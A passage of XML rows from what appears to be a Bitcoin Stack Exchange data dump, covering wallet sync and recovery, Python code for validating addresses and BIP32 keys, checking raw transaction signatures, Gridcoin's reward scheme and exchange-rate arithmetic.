ultimately increase the value of a bitcoin.  So if they believe this policy is helpful to the community as a whole, it is in their interest to use it.  Even if they are not sure this policy is inherently the best, there is some benefit in using it simply because it is standard; it is good for the currency's transaction processing to behave consistently, so that users know what to expect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-05-08T18:45:51.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37306" PostTypeId="1" CreationDate="2015-05-08T20:08:45.833" Score="1" ViewCount="3202" Body="&lt;p&gt;I have my first ever Bitcoin wallet, I instantly sent the bitcoins from blockchain.info to my wallet. Without realizing, my wallet is currently (4pm May 8th 2015) 1 year and 42 weeks behind. Is there a way to speed up this process? I need to buy stuff ASAP and I don't want to wait weeks for my wallet to sync. Also, people are suggesting to restart my wallet and download a Torrent from blockchain, will I lose my bitcoins in the process? I'm using Bitcoin Core.&lt;/p&gt;&#xA;" OwnerUserId="26409" LastEditorUserId="2306" LastEditDate="2015-05-08T21:21:37.893" LastActivityDate="2015-10-25T09:25:58.937" Title="How do I synchronize my wallet quicker with bitcoins already sent?" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="37307" PostTypeId="2" ParentId="36270" CreationDate="2015-05-08T20:12:03.837" Score="4" Body="&lt;p&gt;If you settle for a relational DB you can try BitcoinDatabaseGenerator.&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/ladimolnar/BitcoinDatabaseGenerator/releases&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ladimolnar/BitcoinDatabaseGenerator/releases&lt;/a&gt;&lt;br&gt;&#xA;Sources and wiki: &lt;a href=&quot;https://github.com/ladimolnar/BitcoinDatabaseGenerator&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ladimolnar/BitcoinDatabaseGenerator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may take you a few hours (it takes me 90 minutes but that will vary depending on your hardware and configuration) to transfer the blockchain files to the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do that take a look at the views that are already defined in the DB, some of them may be useful to you.&lt;/p&gt;&#xA;" OwnerUserId="26399" LastEditorUserId="26399" LastEditDate="2015-05-08T20:17:33.777" LastActivityDate="2015-05-08T20:17:33.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37308" PostTypeId="2" ParentId="37264" CreationDate="2015-05-08T21:57:51.663" Score="1" Body="&lt;p&gt;I found out in the end how to do it, here you can see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    wallet.addEventListener(new AbstractWalletEventListener(){&#xA;        @Override&#xA;        public void onCoinsReceived(Wallet wallet, Transaction tx, Coin prevBalance, Coin newBalance) {&#xA;            String hash = tx.getHashAsString();&#xA;            long received = newBalance.value-prevBalance.value;&#xA;            String address = null;&#xA;            for (TransactionOutput txop : tx.getOutputs()){&#xA;                if (txop.isMine(wallet)){&#xA;                    address = txop.getScriptPubKey().getToAddress(params).toString();&#xA;                }&#xA;            }&#xA;            int UserID = MySQL.getUserIDbyAddress(address);&#xA;            // Code...&#xA;        }&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26374" LastActivityDate="2015-05-08T21:57:51.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37309" PostTypeId="1" CreationDate="2015-05-09T03:39:29.370" Score="0" ViewCount="189" Body="&lt;p&gt;I bought some bitcoins on LocalBitcoins then downloaded Bitcoin-qt then instantly sent it to my wallet and now the wallet is corrupted... Is there a way to get them back? &lt;/p&gt;&#xA;" OwnerUserId="26409" LastEditorUserId="2306" LastEditDate="2015-05-09T03:53:05.883" LastActivityDate="2015-05-09T19:50:15.610" Title="Is it possible to get already-sent bitcoins from a corrupted wallet?" Tags="|wallet|bitcoin-core|localbitcoins|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37310" PostTypeId="1" AcceptedAnswerId="37313" CreationDate="2015-05-09T09:07:39.467" Score="4" ViewCount="2077" Body="&lt;p&gt;I'm on the hunt for some python code that will tell me if a string is a valid bip32 xpub key but I'm having trouble finding any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also would like to check if a string is a valid bitcoin address.&#xA;Here is an example I found for this purpose but it doesnt seem to work - &lt;a href=&quot;http://rosettacode.org/wiki/Bitcoin/address_validation#Python&quot; rel=&quot;nofollow&quot;&gt;http://rosettacode.org/wiki/Bitcoin/address_validation#Python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2015-05-09T12:47:50.167" Title="How can I check if a bip32 xpub key is valid using python?" Tags="|bitcoind|bip32-hd-wallets|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37311" PostTypeId="5" CreationDate="2015-05-09T11:56:33.307" Score="0" Body="&lt;p&gt;Collects questions discussing the memory limit of blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;/questions/tagged/scalability&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;scalability&amp;#39;&quot; rel=&quot;tag&quot;&gt;scalability&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/block-size-increase&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;block-size-increase&amp;#39;&quot; rel=&quot;tag&quot;&gt;block-size-increase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-09T11:56:33.307" LastActivityDate="2015-05-09T11:56:33.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37312" PostTypeId="4" CreationDate="2015-05-09T11:56:33.307" Score="0" Body="Collects questions discussing the memory limit of blocks." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-09T11:56:33.307" LastActivityDate="2015-05-09T11:56:33.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37313" PostTypeId="2" ParentId="37310" CreationDate="2015-05-09T12:47:50.167" Score="3" Body="&lt;p&gt;The code you linked works for me in Python 3.4, so I'll assume you're looking for something for Python 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is straight from &lt;a href=&quot;https://github.com/gurnec/btcrecover/blob/5d5432182f95def45929f91f8b9a5daa2ad21ba9/seedrecover.py#L76-L150&quot; rel=&quot;nofollow&quot;&gt;here on GitHub&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import base64, hashlib, collections, struct&#xA;&#xA;def int_to_bytes(int_rep, min_length = 0):&#xA;    &quot;&quot;&quot;convert an unsigned integer to a string of bytes (in big-endian order)&#xA;    :param int_rep: a non-negative integer&#xA;    :type int_rep: long or int&#xA;    :param min_length: the minimum output length&#xA;    :type min_length: int&#xA;    :return: the raw bytes, zero-padded (at the beginning) if necessary&#xA;    :rtype: str&#xA;    &quot;&quot;&quot;&#xA;    assert int_rep &amp;gt;= 0&#xA;    hex_rep = &quot;{:X}&quot;.format(int_rep)&#xA;    if len(hex_rep) % 2 == 1:    # The hex decoder below requires&#xA;        hex_rep = &quot;0&quot; + hex_rep  # exactly 2 chars per byte.&#xA;    return base64.b16decode(hex_rep).rjust(min_length, &quot;\0&quot;)&#xA;&#xA;&#xA;dec_digit_to_base58 = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;&#xA;base58_digit_to_dec = { b58:dec for dec,b58 in enumerate(dec_digit_to_base58) }&#xA;&#xA;&#xA;def base58check_to_bytes(base58_rep, expected_size):&#xA;    &quot;&quot;&quot;decode a base58check string to its raw bytes&#xA;    :param base58_rep: check-code appended base58-encoded string&#xA;    :type base58_rep: str&#xA;    :param expected_size: the expected number of decoded bytes (excluding the check code)&#xA;    :type expected_size: int&#xA;    :return: the base58-decoded bytes&#xA;    :rtype: str&#xA;    &quot;&quot;&quot;&#xA;    base58_stripped = base58_rep.lstrip(&quot;1&quot;)&#xA;&#xA;    int_rep = 0&#xA;    for base58_digit in base58_stripped:&#xA;        int_rep *= 58&#xA;        int_rep += base58_digit_to_dec[base58_digit]&#xA;&#xA;    # Convert int to raw bytes&#xA;    all_bytes  = int_to_bytes(int_rep, expected_size + 4)&#xA;&#xA;    zero_count = next(zeros for zeros,byte in enumerate(all_bytes) if byte != &quot;\0&quot;)&#xA;    if len(base58_rep) - len(base58_stripped) != zero_count:&#xA;        raise ValueError(&quot;prepended zeros mismatch&quot;)&#xA;&#xA;    if hashlib.sha256(hashlib.sha256(all_bytes[:-4]).digest()).digest()[:4] != all_bytes[-4:]:&#xA;        raise ValueError(&quot;base58 check code mismatch&quot;)&#xA;&#xA;    return all_bytes[:-4]&#xA;&#xA;def base58check_to_hash160(base58_rep):&#xA;    &quot;&quot;&quot;convert from a base58check address to its hash160 form&#xA;    :param base58_rep: check-code appended base58-encoded address&#xA;    :type base58_rep: str&#xA;    :return: the ripemd160(sha256()) hash of the pubkey/redeemScript, then the version byte&#xA;    :rtype: (str, str)&#xA;    &quot;&quot;&quot;&#xA;    decoded_bytes = base58check_to_bytes(base58_rep, 1 + 20)&#xA;    return decoded_bytes[1:], decoded_bytes[0]&#xA;&#xA;BIP32ExtendedKey = collections.namedtuple(&quot;BIP32ExtendedKey&quot;,&#xA;    &quot;version depth fingerprint child_number chaincode key&quot;)&#xA;#&#xA;def base58check_to_bip32(base58_rep):&#xA;    &quot;&quot;&quot;decode a bip32-serialized extended key from its base58check form&#xA;    :param base58_rep: check-code appended base58-encoded bip32 extended key&#xA;    :type base58_rep: str&#xA;    :return: a namedtuple containing: version depth fingerprint child_number chaincode key&#xA;    :rtype: BIP32ExtendedKey&#xA;    &quot;&quot;&quot;&#xA;    decoded_bytes = base58check_to_bytes(base58_rep, 4 + 1 + 4 + 4 + 32 + 33)&#xA;    return BIP32ExtendedKey(decoded_bytes[0:4],  ord(decoded_bytes[ 4:5]), decoded_bytes[ 5:9],&#xA;        struct.unpack(&quot;&amp;gt;I&quot;, decoded_bytes[9:13])[0], decoded_bytes[13:45], decoded_bytes[45:])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In particular, you'll want to call &lt;code&gt;base58check_to_hash160()&lt;/code&gt; to check a &quot;normal&quot; address, or &lt;code&gt;base58check_to_bip32()&lt;/code&gt; to check a BIP-32 extended address (an &quot;xpub&quot; or &quot;xprv&quot;). They will either return the results of decoding the address, or raise &lt;code&gt;ValueError&lt;/code&gt; if the address is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's technically licensed under &lt;a href=&quot;http://opensource.org/licenses/gpl-2.0.php&quot; rel=&quot;nofollow&quot;&gt;GPLv2&lt;/a&gt;, but if you'd like me (as the original author) to relicense it under something less restrictive for your project, e.g. &lt;a href=&quot;http://opensource.org/licenses/BSD-2-Clause&quot; rel=&quot;nofollow&quot;&gt;BSD&lt;/a&gt; or &lt;a href=&quot;http://opensource.org/licenses/MIT&quot; rel=&quot;nofollow&quot;&gt;MIT&lt;/a&gt;, I'd be happy to. Please just let me know in a comment.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-09T12:47:50.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37314" PostTypeId="2" ParentId="37302" CreationDate="2015-05-09T15:18:50.233" Score="10" Body="&lt;p&gt;I got linked this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a tool which includes a component that allows one to simulate mining:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yogh.io/#mine:last&quot; rel=&quot;noreferrer&quot;&gt;http://yogh.io/#mine:last&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not entirely accurate; it doesn't support BIP 34, so the block height is not reflected in the coinbase tx, and it's still got some bugs. Currently in alpha. But it can give you some pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It'll construct a block on top of the tip of the current best chain, with a coinbase transaction and nothing else, then start hashing at 4 hashes/sec, showing every failed attempt (which at this hashrate, is likely to be all of them).&lt;/p&gt;&#xA;" OwnerUserId="21350" LastEditorUserId="21350" LastEditDate="2015-06-15T22:17:06.780" LastActivityDate="2015-06-15T22:17:06.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37317" PostTypeId="1" AcceptedAnswerId="37320" CreationDate="2015-05-09T18:00:52.930" Score="3" ViewCount="1515" Body="&lt;p&gt;I have a raw transaction and would like to check if signed or not. How can I do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using bitcoind and verifying a transaction from be blockchain but it says its not complete.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli --testnet getrawtransaction 587d670669e410748553badc3e885d7c58e67f1a0bb36e62ed165d340bf09924&#xA; &#xA;$ bitcoin-cli --testnet signrawtransaction  &#xA;{&#xA;    &quot;hex&quot; : &quot; &quot;,&#xA;    &quot;complete&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26419" LastActivityDate="2015-05-09T19:40:44.217" Title="How to check if raw transaction is signed?" Tags="|raw-transaction|signature|verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37318" PostTypeId="2" ParentId="37317" CreationDate="2015-05-09T18:20:08.327" Score="-1" Body="&lt;p&gt;You can call &#xA;&lt;a href=&quot;http://tbtc.blockr.io/api/v1/tx/raw/587d670669e410748553badc3e885d7c58e67f1a0bb36e62ed165d340bf09924&quot; rel=&quot;nofollow&quot;&gt;http://tbtc.blockr.io/api/v1/tx/raw/587d670669e410748553badc3e885d7c58e67f1a0bb36e62ed165d340bf09924&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's using 3rd party API blockr.io, please pay attention for the prefix &quot;tbtc&quot;at the URL which indicates testnet. You will get json data with scriptSig element inside every input and scriptPubKey in each output, to validate the signature you will use some kind of open source library which ever you prefer. &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-05-09T18:20:08.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37319" PostTypeId="2" ParentId="37276" CreationDate="2015-05-09T19:34:16.163" Score="1" Body="&lt;p&gt;EDIT: I'm posting this in response to kaykurokawa since I don't have sufficient reputation to comment directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;POST: This isn't correct. There is a lot of confusion about how Gridcoin's Proof-of-Research system works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gridcoin has two types of block awards - PoS, and PoR. PoS works as traditionally expected but it is used as a backup mechanism. The primary block reward mechanism is proof-of-research, and your chance to solve a PoR block and the amount of GRC you receive are dependent on your relative contribution to the BOINC network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the solution to the PoR block uses traditional hashing mechanisms (PoW) as far as I'm aware, but if your contribution to BOINC isn't high enough relative to the rest of the Gridcoin network participants, 1) you will not be awarded a block and 2) the Gridcoin client is smart enough not to waste CPU cycles trying and instead frees those cycles for BOINC (or whatever else you want to do with them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some reason the BOINC network goes down or people totally stop researching, PoS is there merely to ensure that transactions will continue to be processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To more directly answer the original question, Gridcoin is built on a significantly modified Litecoin codebase, so from a programming perspective it's not exactly a cut-and-paste thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, Bitcoin could be altered to use any other reward mechanism dreamed up and accepted by the community, but in practice Bitcoin is so established and people have made such significant investments into hardware and infrastructure that I think there would be insurmountable resistance to changing the way that block rewards are distributed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of consequences, the primary positive consequence is that the freed-up CPU cycles currently being used by Bitcoin for simple PoW hashing could be spent on more useful things like BOINC. On the negative side, there is some concern about Gridcoin's dependency on a second outside network (the various BOINC projects and statistics collections and so on) which could be an issue for people who believe that it negatively impacts Gridcoin's decentralization as compared to Bitcoin, which has no such external dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Gridcoin seems to have plans in the works for allowing direct in-network distributed computing which could mediate that in the future, but I'm not sure how far along it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DISCLAIMER: I'm not a Gridcoin dev, just someone who really believes that it's a much better use of electricity than Bitcoin, much as I love Bitcoin.:)&lt;/p&gt;&#xA;" OwnerUserId="26420" LastEditorUserId="26420" LastEditDate="2015-05-09T19:47:15.343" LastActivityDate="2015-05-09T19:47:15.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37320" PostTypeId="2" ParentId="37317" CreationDate="2015-05-09T19:40:44.217" Score="4" Body="&lt;p&gt;You could:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bitcoin-cli decoderawtransaction &amp;lt;HEX&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then check if all your &lt;code&gt;vins&lt;/code&gt; have a correct &lt;code&gt;scriptSig&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A unsigned tx would look like (partial):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;8b2c1d3cfb884406747ac8d37b5e66ae18cba9acacb6074cc74e3aab1bfae55d&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;cc8eb9dafb5c01a9ab69c03747de31630baaf8f7de63847cfe4fb91684bef564&quot;,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;&quot;,&#xA;                &quot;hex&quot; : &quot;&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a signed (partial)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;587d670669e410748553badc3e885d7c58e67f1a0bb36e62ed165d340bf09924&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;3d56c5cf716d911e7b89447864bf8625cfae8ee9311d203dff6a2979f2470b1a&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;3045022100fd58b00ca836fd4b37b4e9dd2816fafd7817601f6248084c1f19e4d8004c484602203bd3e6d76bb45c2056b925e256b332df7f8a17b1b19b22bba1b6a2d9da59f6a301 03cd34f8c371bf1036718313bc2c33002b9b29c937688e7a4edd4cc92deb94f6b7&quot;,&#xA;                &quot;hex&quot; : &quot;483045022100fd58b00ca836fd4b37b4e9dd2816fafd7817601f6248084c1f19e4d8004c484602203bd3e6d76bb45c2056b925e256b332df7f8a17b1b19b22bba1b6a2d9da59f6a3012103cd34f8c371bf1036718313bc2c33002b9b29c937688e7a4edd4cc92deb94f6b7&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-05-09T19:40:44.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37321" PostTypeId="2" ParentId="37309" CreationDate="2015-05-09T19:50:15.610" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a backup of your current wallet.dat file. Check &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is you don't know where the file is stored.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check debug.log in your bitcoin datadir, see if there are any errors, ask somebody, post here, post on IRC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start bitcoind or Bitcoin-Qt with command line argument &lt;code&gt;-salvagewallet&lt;/code&gt; (if you don't know how to run a Application with command line arguments, try to ask someone or get help over IRC freenode/#bitcoin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If step 3 didn't help, check if you have a backup from your wallet.dat, replace files (only overwrite your wallet.dat if you followed step 1).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If nothing worked out, get help from a bitcoin expert over IRC (but never give away your wallet.dat!)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-05-09T19:50:15.610" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37322" PostTypeId="2" ParentId="37276" CreationDate="2015-05-09T22:25:16.703" Score="5" Body="&lt;p&gt;Such a switch will never happen. There are three main reasons for this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It would require the worst kind of hard fork, one where a lot of legacy code would have to remain in the coin, for the sake of validating transactions before the hard fork date.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While the reward system itself has been specifically designed to not be game-able (&lt;a href=&quot;https://github.com/TheCharlatan/Gridcoin-Research/tree/master/contrib/BoincMonteCarlo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/TheCharlatan/Gridcoin-Research/tree/master/contrib/BoincMonteCarlo&lt;/a&gt;), it is nevertheless destroyable by a malicious actor with reasonable funding, since it relies on a centralized service to distribute its data. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There is little to no research towards the specific crypto algorithms used to secure user information in the chain, such as &lt;a href=&quot;https://github.com/TheCharlatan/Gridcoin-Research/blob/CPID-style/src/cpid.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/TheCharlatan/Gridcoin-Research/blob/CPID-style/src/cpid.h&lt;/a&gt; . In fact the CPID (which is used to identify researchers) is an md-5 hash of some string and the user email, so it definitely does not compare to Bitcoin's standard of security. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="26423" LastEditorUserId="26423" LastEditDate="2017-07-07T12:18:01.270" LastActivityDate="2017-07-07T12:18:01.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37323" PostTypeId="2" ParentId="36851" CreationDate="2015-05-10T03:41:38.310" Score="0" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.youtube.com/watch?v=x23C1sQg6wQ&quot; rel=&quot;nofollow&quot;&gt;this study of alt-coins done at a Princeton university seminar&lt;/a&gt;, the greater the market cap, the greater the distribution (and they do account for multiple addresses on one hand, through transaction graphs).  As expected by the enhanced utility stemming from network effects, the larger the market cap, the more wealth is distributed, hence it seems Bitcoin overtakes Litecoin, which overtakes Dogecoin, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their source code is available &lt;a href=&quot;https://github.com/crm416/altcoin-analysis&quot; rel=&quot;nofollow&quot;&gt;in github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the second part of your question, is distribution the same as adoption? That may not be the case; for many pre-mined coins (or insta-mined coins) have been widely distributed but had low traction.  People just ignore them after a while (stellar, nxt, auroracoin, etc.)  &lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2015-05-10T03:41:38.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37325" PostTypeId="2" ParentId="36851" CreationDate="2015-05-10T12:50:32.843" Score="1" Body="&lt;p&gt;&quot;Widely&quot; distributed and &quot;fairly&quot; distributed are two completely different things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Fair&quot; means that the mechanism by which the initial distribution was determined is fair, regardless of who ends up with more coins. You could have a fair coin which ends up wholly in the hands of one person, if he earned those coins legitimately and fairly. And you could have an unfair coin which ended up widely distributed. Eventual ownership is also distinct from initial issuing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Narrow distribution could be evidence suggesting that the mechanism was unfair, of course. But the notion that narrow distribution on its own is unfair, contrasts the ethical position that people should be responsible for the consequences of their actions. If someone works hard and makes smart decisions to create and obtain value, there is nothing unfair about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is clearly among the fairest, without a privileged party and with continuous issuing over many years. I also believe it is the most widely distributed, measured by number of people who consciously own bitcoins. It may not be the most equally distributed, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distribution is not the same as adoption. If you manage to issue a coin equally to every person on earth, then the distribution will be wide, equal, and arguably fair - but if nobody actually uses it or cares about the coin he was issued, you can't claim that it's widely adopted.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-05-10T12:50:32.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37326" PostTypeId="1" AcceptedAnswerId="37327" CreationDate="2015-05-10T14:01:04.533" Score="-1" ViewCount="309" Body="&lt;p&gt;My Question is below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get &lt;strong&gt;the value of one USD's amount in bitcoin&lt;/strong&gt; using the &lt;code&gt;last&lt;/code&gt; value from btc-e (In case someone finds this useful..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The btc-e api call is &lt;a href=&quot;https://btc-e.com/api/3/ticker/btc_usd&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/3/ticker/btc_usd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;btc_usd&quot;:&#xA;    {  &#xA;    &quot;high&quot;:245.196,&#xA;    &quot;low&quot;:238.75,&#xA;    &quot;avg&quot;:241.973,&#xA;    &quot;vol&quot;:1311899.79685,&#xA;    &quot;vol_cur&quot;:5434.56688,&#xA;    &quot;last&quot;:242.291,&#xA;    &quot;buy&quot;:242.9,&#xA;    &quot;sell&quot;:242.29,&#xA;    &quot;updated&quot;:1431260454&#xA;    }}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sum is like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;( 1 / ( 242.291 / 100000000 ) ) / 100000000&#xA;&#xA;= 0.004127268449921788       btc-e exchange price for $1 worth of BTC&#xA;&#xA;//0.00411811                 this is similar to blockchain.info's $1 average price&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To explain, I am mimicking &lt;a href=&quot;https://blockchain.info/tobtc?currency=USD&amp;amp;value=1&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tobtc?currency=USD&amp;amp;value=1&lt;/a&gt; as it converts the price of one USD to its value in BTC like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.00411811&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to somehow do this with &lt;a href=&quot;http://dogecoinaverage.com/USD&quot; rel=&quot;nofollow&quot;&gt;http://dogecoinaverage.com/USD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which states:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The global volume-weighted average price of one Dogecoin is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.00009289 USD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could I use that information to mathematically get the average price of 1USD in DOGE?&lt;/p&gt;&#xA;" OwnerUserId="14316" LastEditorUserId="2306" LastEditDate="2015-05-10T16:40:25.900" LastActivityDate="2015-05-10T16:40:25.900" Title="How can I take the exchange rate (1-Crypto-to-USD) and convert it to the other direction? (1-USD-to-Crypto)" Tags="|exchange-rate|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37327" PostTypeId="2" ParentId="37326" CreationDate="2015-05-10T14:27:50.877" Score="3" Body="&lt;p&gt;If x is the number of dogecoins per dollar, then &lt;code&gt;x * 0.00009289 = 1&lt;/code&gt;.  So &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;x = 1 / 0.00009289 = 10765.421&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, simply take the reciprocal.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-05-10T14:27:50.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
